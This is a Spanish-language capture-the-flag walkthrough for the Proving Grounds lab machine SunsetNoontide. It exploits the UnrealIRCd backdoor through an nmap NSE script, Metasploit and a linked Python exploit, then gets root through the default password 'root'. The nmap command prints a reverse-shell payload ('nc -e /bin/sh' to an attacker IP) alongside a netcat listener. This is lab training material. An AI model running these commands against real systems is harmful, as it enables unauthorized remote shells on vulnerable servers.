> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/sunsetnoontide.md).

# SunsetNoontide

<figure><img src="/files/1nNOUiNvJmSNKX0OFYYq" alt=""><figcaption></figcaption></figure>

### Enumeración

#### NMAP&#x20;

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.&#x20;

```
nmap -p- --open -vvv -Pn -n --min-rate 2000 192.168.130.120
```

<figure><img src="/files/OEYk29OaI1aMq7RQNsJ7" alt=""><figcaption></figcaption></figure>

Existen 3 puertos abiertos en el equipo target.&#x20;

* Puerto 6667 -> irc
* Puerto 6697 -> ircs-u
* Puerto 8067

Realizamos un escaneo en profundidad de los servicios abiertos.&#x20;

```
nmap -p6667,6697,8067 -sVC -vv -Pn -n 192.168.130.120 -oN target
```

<figure><img src="/files/vGygbkklrsZPshj6whFc" alt=""><figcaption></figcaption></figure>

Tenemos tres servicios IRC. Existe un script NSE **irc-unrealircd-backdoor** en Nmap, vamos a probarlo.

### Explotación

#### Utilizando script de NMAP

El argumento del script irc-unrealircd-backdoor.command se puede utilizar para ejecutar un comando arbitrario en el sistema remoto. También ejecutamos un oyente con nc en nuestra máquina de ataque.&#x20;

Ejecutamos nmap de la siguiente manera para ejecutar comandos arbitrarios en la máquina víctima.&#x20;

```
nmap -d -p6697 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='nc -e /bin/sh 192.168.49.130 4444' 192.168.130.120
```

Y por otro lado, un oyente nc.&#x20;

```
nc -nlvp 4444
```

Después de ejecutar NMAP, obtenemos conexión reversa y acceso a la máquina víctima.&#x20;

<figure><img src="/files/pWKQa9wmPMjGhyGl4z9z" alt=""><figcaption></figcaption></figure>

El siguiente paso será buscar la flag local.txt. Esta se encuentra en el directorio home/server.&#x20;

<figure><img src="/files/HeuoVHon92sp70Ka8KmH" alt=""><figcaption></figcaption></figure>

#### Utilizando Metasploit

Anteriormente, durante el escaneo de servicios abiertos, descubrimos que se está ejecutando UnrealIRC en el equipo de la víctima. Vamos a ver que versión. Para ello, vamos a utilizar el script irssi.&#x20;

Instalamos irssi

```
apt install irssi
```

Posteriormente, lo ejecutamos.

```
irssi
```

<figure><img src="/files/KWEoZjeblvXRx7P6sA5F" alt=""><figcaption></figcaption></figure>

Debemos introducir la IP del equipo target.

<figure><img src="/files/fm3s87Yqg9vIWY36XimE" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/LGMrGyxkZkf3WlHmxyZh" alt=""><figcaption><p>Versión de UnrealIRC</p></figcaption></figure>

Con esta versión y utilizando searchsploit, vamos a buscar versiones vulnerables para esta versión.&#x20;

<figure><img src="/files/AKmlDFgBxW49DzBC37K7" alt=""><figcaption><p>Versión de exploit para Metasploit</p></figcaption></figure>

Ejecutamos msfconsole.

* Paso 1. Buscar el exploit

<figure><img src="/files/NEHhpGUSxQv73dOlvum3" alt=""><figcaption></figcaption></figure>

* Seleccionar el exploit

<figure><img src="/files/rnxvraMKTzYs4uI2F85X" alt=""><figcaption></figcaption></figure>

* Configuramos el exploit

<figure><img src="/files/uR3BGUWEjCwdyVA8x3Uo" alt=""><figcaption></figcaption></figure>

* Ejecutar el exploit

<figure><img src="/files/ZLBhRv2VANI4hvytIgns" alt=""><figcaption><p>Configurar LHOST aunque no se pida configurar en un principio</p></figcaption></figure>

<figure><img src="/files/knF2T9gqTXkKaTEQbkJx" alt=""><figcaption></figcaption></figure>

Y volveriamos a tener conexión con la máquina objetivo. Solo habría que buscar la flag.&#x20;

#### Utilizando un exploit en Python

Para ello, utilizaremos este [exploit](https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/blob/master/exploit.py).&#x20;

El primer paso será configurar el exploit.&#x20;

<figure><img src="/files/hj9u2LtZgPcy5QbklUon" alt=""><figcaption><p>Configuramos con los datos de IP local y puerto en escucha</p></figcaption></figure>

Y ejecutamos.&#x20;

<figure><img src="/files/L6gLl5CcsRe9lAVSV9SR" alt=""><figcaption></figcaption></figure>

Al mismo tiempo debemos colocar un oyente en el puerto configurado en el exploit.&#x20;

<figure><img src="/files/safSvpatnZDQBAm53Lcc" alt=""><figcaption></figcaption></figure>

Y volveriamos a tener conexión a la máquina víctima.&#x20;

### Elevación de privilegios

Ingrese el siguiente comando para obtener un shell interactivo

```scala
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

Realizamos una comprobación de contraseñas por defecto para usuario root. Ingresamos su root y como password root también (contraseña débil para usuario root)<br>

<figure><img src="/files/eIUpRNSmNlQpz9EROSmo" alt=""><figcaption></figcaption></figure>

Ya tenemos privilegios máximos en la máquina. El paso final, será buscar la flag.&#x20;

<figure><img src="/files/pzXkYpecV8aHH09wxr00" alt=""><figcaption></figcaption></figure>

Ya tenemos acabado el CTF.&#x20;

{% embed url="<https://youtu.be/-G12P-2ped8&feature=emb_imp_woyt>" %}
